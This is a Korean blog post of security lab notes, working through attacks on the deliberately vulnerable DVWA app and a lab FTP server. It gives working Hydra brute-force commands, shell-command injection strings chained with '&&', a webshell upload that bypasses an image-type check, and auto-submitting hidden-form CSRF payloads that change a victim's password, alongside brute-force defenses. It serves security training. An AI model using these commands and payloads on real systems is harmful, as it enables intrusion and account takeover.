본문 바로가기

IT 엔지니어/Security

Burpsuite, Hydra, DVWA,

BURPSUITE

Applications - Web Application Analysis - burpsuite

Brute Force admin 로그인


 

 

Brute suite -> proxy -> history

 

 

마우스 우클릭 -> Send to Intruder

 

 

해당 비밀번호 입력값 드래그 후 Add$ 클릭

 

오른쪽 PAYLOAD 예상 비밀번호 ADD / ATTACK 
비밀번호 임계값 설정 목적 = Brute Force 방지

 

 

 

START ATTACK 으로 비밀번호 해킹

 

 

payload 
사전 파일 작성
저장된 리스트로 brute force 공격 가능

/usr/share/john/password.lst
  • *Brute Force(무차별 대입 공격)**는 가능한 모든 경우의 수를 시도하여 정답을 찾는 방식입니다.
  • 주로 보안 공격에서 패스워드 크래킹, 키 찾기, 해시 충돌 탐색 등에 사용됩니다.

1. 브루트 포스 개념

  • 알고리즘: 가능한 모든 조합을 순차적으로 시도하여 정답을 찾는 방식
  • 보안 공격: 비밀번호, 암호화 키 등을 무작위로 대입하여 찾는 공격 기법

2. 브루트 포스 공격의 유형

  1. 단순 무차별 대입 공격(Brute Force Attack)
    • 사전 없이 모든 가능한 조합을 대입하여 시도
    • 예: aaaa, aaab, aaac, ... zzzz
  2. 사전 공격(Dictionary Attack)
    • 사전에 존재하는 단어 리스트(예: 흔한 비밀번호 목록)를 이용해 공격
    • 예: password, 123456, qwerty, letmein 등
  3. 크리덴셜 스터핑(Credential Stuffing)
    • 유출된 사용자 계정 정보를 다른 서비스에 적용하여 로그인 시도
    • 예: 한 웹사이트에서 유출된 id: user123 / pw: 123456을 다른 웹사이트에 입력하여 로그인
  4. 리버스 브루트 포스(Reverse Brute Force)
    • 특정한 비밀번호를 정해두고, 여러 ID에 대해 적용하는 방식
    • 예: "password123"를 여러 이메일(ID)와 조합하여 로그인 시도

3. 브루트 포스 공격 방어 방법

  1. 비밀번호 복잡성 증가
    • 길고, 대소문자, 숫자, 특수문자를 조합하여 생성
    • 예: D!fF1CuL7_P@s$w0rd
  2. 계정 잠금 정책 적용
    • 일정 횟수 이상 로그인 실패 시 계정을 일시적으로 차단
    • 예: 5회 실패 후 10분간 로그인 차단
  3. CAPTCHA 사용
    • 로그인 시 자동화된 공격 방지
  4. 이중 인증(MFA, 2FA)
    • OTP, SMS 인증 등을 활용하여 추가 보안 계층 적용
  5. 비밀번호 해싱 강화
    • bcrypt, PBKDF2, Argon2 등 강력한 해싱 알고리즘 사용
    • 무작위 salt 값 적용하여 같은 비밀번호라도 다른 해시 값 생성

 

 

 

THC-HYDRA

The Hacker's Choice Hydra

[ HYDRA ]

  • 로그인 크래킹 도구(Brute Force / Dictionary Attack 도구)
  • 다양한 프로토콜(HTTP, FTP, SSH, TELNET 등)에 대해 대량의 로그인 시도 자동화
  • 빠르고 멀티스레드 기반 (속도 향상)

  • Hydra 공격
    • SSH : SSH 로그인 크래킹
    • FTP : FTP 서버 비밀번호 추측
    • HTTP-POST/GET : 웹 로그인 폼 공격
    • TELNET : Telnet 접속 시도
# hydra -l [User] -x 4:4:4:1a ftp://[공격 대상 IP] -V -f

< 옵션 >

-l = 로그인 계정

-x [ ] = 자동 생성된 비밀번호 조합

-V = Verbose 모드 (시도하는 모든 조합을 보여줌)

-f = 첫 번째 성공 시도에서 공격 중단

[ -x : HYDRA 비밀번호 자동 생성 옵션 ]

-x 최소길이:최대길이:정확한길이:캐릭터셋
1
숫자 (0-9)
a/A
소문자 (a-z) / 대문자 (A-Z)
!
특수문자 (!@#$%^&* 등)
.
모든 문자 (숫자+대문자_특수문자)

# hydra -l test -x 4:4:4:1a ftp://192.168.10.50 -V -f

1a = 숫자(1) + 소문자(a) 조합

 

 

 

 

 

[KALI FTP 공격]

hydra -l test -p 123456 <ftp://192.168.10.50> -V -f
소문자 = 해당 문자로만 대입 공격

hydra -L /usr/share/test -P /root/pass.txt <ftp://192.168.10.50> -V -f
대문자 = 사전 파일로 대입 공격

방화벽 해제

 

 

 

 

 

vi /etc/pam.d/vsftpd + vi /etc/vsftpd/vsftpd.conf

allow 변경 + userlist_deny=NO / userlist_enable= no
  • userlist_deny=NO //
  • userlist_enable=YES //
  • userlist_file=/etc/vsftpd.user_list

상관없음


필요한 기본 설정

  • pam_service_name=vsftpd
  • local_enable=YES
  • root 로그인을 허용하려면 다음 옵션이 필요함:
local_root=/root  
allow_writeable_chroot=YES

없어도 공격 가능

[ROOT 로그인 공격]

deny /enable=no -> FAIL
deny /enable=yes -> FAIL

allow /enable=yes -> FAIL
allow /enable=no -> SUCCESS

 

무한대 생성 공격

hydra -l root  -x 3:3:1a <ftp://192.168.10.50> -V -f

최소 : 최대 : 1 ( 숫자 ) a ( 알파벳 )

 

 


DVWA

 

웹페이지 - 우클릭 - 페이지 소스 보기

리눅스 ping -c 3
윈도우 ping -n 3
OPTION를 보고 OS 확인 가능해야한다
사용가능 연산자
| (or) || / & && 

127.0.0.1 && cd /etc/ && ls -la && pwd

127.0.0.1 && echo "test" && cat >> test

; 순차 실행 – 앞의 명령어가 성공/실패 여부와 상관없이 다음 명령 실행

& 백그라운드 실행 – 앞의 명령을 백그라운드에서 실행하고 즉시 다음 명령 실행

&& AND 연산 – 앞의 명령이 성공(0 반환) 하면 다음 명령 실행

|  앞의 명령 출력을 뒤의 명령 입력으로 전달

|| 앞의 명령이 실패(= 종료 상태 0이 아님) 하면 다음 명령을 실행

 

 

 

DVWA - Security - low

< PHP 출력 TEST >

Apache2 웹서버가 PHP를 정상적으로 실행하는지 확인

# vi /var/www/html/webshell.php

< 시스템 명령어 실행 >

# vi /var/www/html/ws.php

< WEBSHELL TEST >

웹쉘이 정상적으로 파일을 읽는지 test

# vi /etc/

# systemctl restart apache2

< Apache 설정 정상 작동 확인 >

< ws.php 실행으로 다중 시스템 명령어 출력 확인 >

세 파일 내용이 동시 출력됨


Intercept on

생성한 파일 선택

22줄 image/jpeg 변경 -> Forward

Intercept off

upload 확인

 

 

http://192.168.10.129/dvwa/hackable/uploads/cmd.php?cmd=ls-l


 

데이터를 캡쳐 후 수정 가능
텍스트 파일을 이미지 파일로 변경 가능하여
이미지만 업로드 가능한 설정 취약점 통과 가능

 

http://192.168.10.129/dvwa/hackable/uploads/cmd.php?cmd=pwd

 

touch file 파일 생성
file 생성 확인

 

 

 

이미지 파일로 조작하여 등록 후
시스템 접속 및 사용 가능
취약점 발견

웹 페이지 변경 시 
검색창에 명령어 입력 후 
forward 클릭 후 웹 페이지 확인 시
출력 확인 가능

검색창 통해서 

디렉터리 및 파일 생성 가능
nestat -an 출력 가능
디렉터리 및 파일 삭제 가능

uploads/cmd.php?cmd=echo "test" | cat >> test

top 불가 ( 실시간 시스템 불가 추정)
진짜 이미지 파일 등록 시 이미지 확인도 가능

 


 
 
 

Ctrl+U - / 웹페이지 소스 보기

 

소스 원본 보기

   <form action="#" method="GET">    New password:<br>
    <input type="password" AUTOCOMPLETE="off" name="password_new"><br>
    Confirm new password: <br>
    <input type="password" AUTOCOMPLETE="off" name="password_conf">
    <br>
    <input type="submit" value="Change" name="Change">
    </form>

 

[코드 변경]

vi /var/www/html/test.html    
    
    <form action="<http://192.168.10.129/dvwa/vulnerabilities/csrf/>" method="GET">
	<input type="hidden" AUTOCOMPLETE="off" value='p@ssw0rd' name="password_current"><br>    
    <input type="hidden" AUTOCOMPLETE="off" value='123456' name="password_new"><br>
    <input type="hidden" AUTOCOMPLETE="off" value='123456' name="password_conf"><br>
    <input type="submit" value="Clike here to Change" name="Change">
    </form>

 

해당 링크된 버튼 클릭 시 해커가 설정한 패스워드로 자동으로 비밀번호 변경 완료

 

 

해커가 원하는 비밀번호 123456으로 입력 후 링크 전송

 

192.168.10.250/TEST.html

가짜 링크를 전송

my blog 클릭 시 

비밀번호 변경 페이지로 이동

변경완료 메시지 확인

192.168.10.129/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change
http 주소 확인 필요 
보안 강도 확인 필요
<iframe style="display:none;" name="changemail"></iframe>

<form method="POST" action="요청 보낼 URL" id="myForm" target="changemail">

<input type="hidden" name="email" value ="공격자가 원하는 값">

</form>

<script>

document.getElementById('myForm').submit();

</script>
iframe이 게시글에서는 안보이게 display:none;으로 설정하고, 
form 태그 요청이 갈 곳을 설정하기 위해 name 값을 준다. 
그리고 form 태그에 target 속성에 해당 name 값을 주면 
iframe으로 가져온 페이지로 요청이 날아간다. 

'IT 엔지니어 > Security' 카테고리의 다른 글

SQL injection[Non-blind/Blind]  (0) 2025.04.17
XSS  (0) 2025.04.17
XSS  (0) 2025.04.11
Directory Indexing  (0) 2025.04.11
SNORT RULEs  (0) 2025.04.10